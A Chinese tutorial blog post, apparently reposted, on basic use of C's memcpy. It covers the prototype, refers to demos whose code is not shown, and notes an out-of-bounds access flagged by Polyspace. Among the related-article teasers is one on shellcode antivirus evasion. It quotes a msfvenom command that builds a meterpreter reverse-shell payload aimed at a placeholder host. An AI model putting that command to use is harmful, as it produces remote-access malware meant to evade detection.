1728_c语言标准库memcpy函数的简单使用

news2024/11/24 19:58:45

全部学习汇总: GreyZhang/c_basic: little bits of c. (github.com)

欢迎路过的YUAN类朋友相互交流,以下是我的联系方式:

Email:greyzhang@126.com

微信:grey0612

         静态代码检测遇到了一处memcpy函数使用的错误,但是我却没有使用过这个函数。找来文档看了下,顺便写个最简单的代码练习练习。

         memcpy函数的声明原型如下:

         void *memcpy(void * str1, const void *str2, size_t n);

         第二个参数是即将被拷贝的原始字符串,第一个参数是拷贝内容最终存放后的字符串,第三个参数用来指定拷贝的字节数。函数具有一个返回值,一个指向str1的void类型的指针。

代码演示1如下:

执行结果:

         从结果可以看到,整个字符串全都被拷贝。但是,memcpy函数执行前dest字符串还为空。

代码演示2:

执行结果:

         此次,memcpy之拷贝了10个字节的数据。

         需要注意的是,如果dest定义为局部变量可能第一个printf输出的内容为乱码,因为局部变量没有初始化。定义为全局变量,全局变量是否初始化整个跟编译器还是相关的,我用过的编译器基本上都会将数据初始化为0或者空。

代码演示3:

运行结果:

         其实,此处出现了内存访问的越界。在嵌入式软件尤其是实时性、安全性要求比较高的地方这种问题经常会引起很多麻烦。在此,借由polysapce的code prover进行简单的检查看一下检测结果。

code prover检测结果:

         在指针、数组、内存访问的安全与可靠性检测上,polyspace的确是个不错的选择。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/596626.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何DIY项目资源私有检测规则

本地资源检测是UWA推出的、面向于静态资源的全量分析。可以全面自动检测项目静态工程内各项资源、代码和设置,能够帮助项目组制定合理的资源与代码标准,及时发现潜在的性能问题和异常错误,建立有效的开发规范。 为了在游戏优化过程中持续与U…

计网之HTTPS的安全机制

文章目录 一. 什么是HTTPS?二. HTTPS中的加密机制(SSL/TLS)1. HTTP的安全问题2. 对称加密3. 非对称加密4. 中间人问题5. 证书 一. 什么是HTTPS? 在网络传输过程中, 存在着运营商劫持和一些黑客入侵这样的危险, 在之前只有HTTP的明文传输数据环境下, 这样的问题是有些泛滥的,…

java 利用poi根据excel模板导出数据(二)

本文是 java 利用poi根据excel模板导出数据(一) 的续篇 经常有poi的开发一定会碰到三个名词: HSSFWorkbook 、 XSSFWorkbook、SXSSFWorkbook; 这三个都是导出excel的形式,具体区别: HSSFworkbook,XSSF…

bert中文文本摘要代码(1)

bert中文文本摘要代码 写在最前面关于BERT使用transformers库进行微调 load_data.py自定义参数collate_fn函数BertDataset类主函数 tokenizer.py创建词汇表encode函数decode函数 写在最前面 熟悉bert+文本摘要的下游任务微调的代码,方便后续增加组件实现…

Vue.js+nodejs高校水电费缴费设备维修管理系统

本大学城水电管理系统管理员功能有个人中心,用户管理,领用设备管理,消耗设备管理,设备申请管理,设备派发管理,状体汇报管理,领用报表管理,消耗报表管理,班组报表管理&…

面向对象编程 实验二 MouseHit--SDUWH

来源网络。仅供参考 面向对象编程技术 实验二实验报告 1.实验要求 熟悉Visual Studio的环境与使用,创建一个新的工程以EasyWin为示例程序完成第一个Windows程序的编写、调试、运行。练习命令行的方式进行程序创建。 在理解Windows按键与鼠标的基础上,开发一个小型的打字…

feat:使用企业微信JS-SDK的onMenuShareAppMessage()实现点击转发自定义分享内容(TypeScript)

背景:企业微信应用使用企业微信JS-SDK的分享接口实现分享样式自定义 原生: 需要实现成: 企业微信JS-SDK 是企业微信面向网页开发者提供的 基于企业微信内 的网页开发工具包。 通过使用企业微信JS-SDK,网页开发者 可借助企业微信…

Python-shellcode免杀分离

#Python-原生态-MSF&CS&生成&执行代码 MSF-payload:msfvenom -p windows/meterpreter/reverse_tcp lhostX.X.X.X lport6688 -f c CS-payload: 攻击--生成后门--payload生成器--选择监听器和输出格式为C语言 python 3.10-32位,注…

如何将完成的报告从 FastReport .NET 导出到 S3

FastReport .NET 报表生成器FastReport .NET是适用于.NET Core 3,ASP.NET,MVC和Windows窗体的全功能报告库。使用FastReport .NET,您可以创建独立于应用程序的.NET报告。 简单存储服务是一种用于存储大量数据的服务。该服务将存储的数据划分…

BERT在GLUE数据集构建任务(未完待续。。。)

0 Introduction 谷歌开源的BERT项目在Github上,视频讲解可以参考B站上的一个视频 1 GLUE部分基准数据集介绍 GLUE数据集官网GLUE数据集下载,建议下载运行这个.py脚本文件进行数据集的下载,如果连接无法打开,运行下面代码。运行…

想知道视频转音频怎么操作?快来看看这三种方法

在数字化时代,视频已成为人们生活、学习、工作中不可或缺的元素。不过,在某些情况下,仅通过视觉体验来获取信息可能并不方便或实用。比如,对于听障人士,他们无法通过视觉方式获取信息,但可以通过听觉方式接…

一文教你高速PCB信号完整性仿真怎么做

在高速PCB设计中,信号完整性是确保信号在电路板上传输过程中的稳定性和可靠性的重点,通过仿真工具进行信号完整性可帮助工程师在设计阶段解决信号完整性问题,从而优化电路板的性能和可靠性。那么如何做好PCB信号完整性仿真?下面来…

1.3 eBPF的工作原理初探

写在前面 上一节提到过,eBPF程序是面向BPF体系结构指令集编写的,它并不直接运行在Linux内核中,我们可以理解为它是运行在eBPF虚拟机,由eBPF虚拟机来执行eBPF字节码,就像java运行在jvm一样。 我们用一张原理图来看下eBPF程序的编译,加载,验证,钩子,映射等结点。 如上是…

Matlab查找整行为0的行号并记录

find函数 该函数可以查找非零元素的索引和值 例如: X 331 0 20 1 10 0 4 k find(X) %返回非零元素的索引号,即按列检索对应数值的序号 k_0 find(~X) %返回零元素的索引号 matlab检索索引号的方式如下:输出结…

CDN之域名管理操作流程简介

一、火伞云端配置 1、点击“域名管理”,找到需要配置的域名,点击“常规配置” 2、进入“域名配置”界面,点击“配置我的CNAME” 3、将要配置的CNAME配置到我的DNS,请复制此处的CNAME地址,同时打开您网站所属的DNS服务…

Linux 扩展磁盘空间

1. 为什么我的 Linux 磁盘空间不够用?/ 插入新的磁盘要怎么用? [注]:第一节基本是一些啰里啰唆的内容,想直接看如何操作,请直接跳转至第二小节🧐 很多人遇到这样的问题,当给一台新的主机安装上…

MySQL报错cannot add foreign key constraint解决方法

1 问题场景 利用Navicat对MySQL两张表想要进行外键关联时设置正确,但出现出现如下错误 2 原因分析 创建外键错误的原因大概有一下几个原因: 1、关联的两个字段的字段的类型不一致 2、设置外键删除时set null 3、两张表的引擎不一致 2.1 数据类型不一…

2023 下半年程序员生存指南!

见字如面,我是军哥! 最近看到 4 月份,我国青年失业率 20.4%,说实话这个数字相当的高呀! 另外,伴随最近若干大厂裁员,就这周就有两位读者跟我说被裁员了,我估计下半年的 IT 行业更是艰…

BR 5AP1130.156C-000

物料号: 5AP1130.156C-000 描述: 自动化装置面板 15.6" FullHD TFT - 1920 x 1080 像素 (16:9) - 多点触控(投射电容) - 开关柜安装 - 横向 - 用于 PPC900/PPC2100/PPC3100/ 联接模块 B&R ID 代码0xEC5D许可证 显示屏 类型TFT 彩色对角线…

ChatGPT 插件:深入探讨 OpenAI 的新功能及其如何改变我们使用 AI 的方式

OpenAI的API现在正在为成千上万的商业和开源项目和应用程序提供AI动力。而在推出六个月后,ChatGPT的插件终于加入了机智的聊天机器人,能够更好的应用在不同的场景中。 🔌 什么是ChatGPT插件? ChatGPT插件是专门的扩展&#xff0…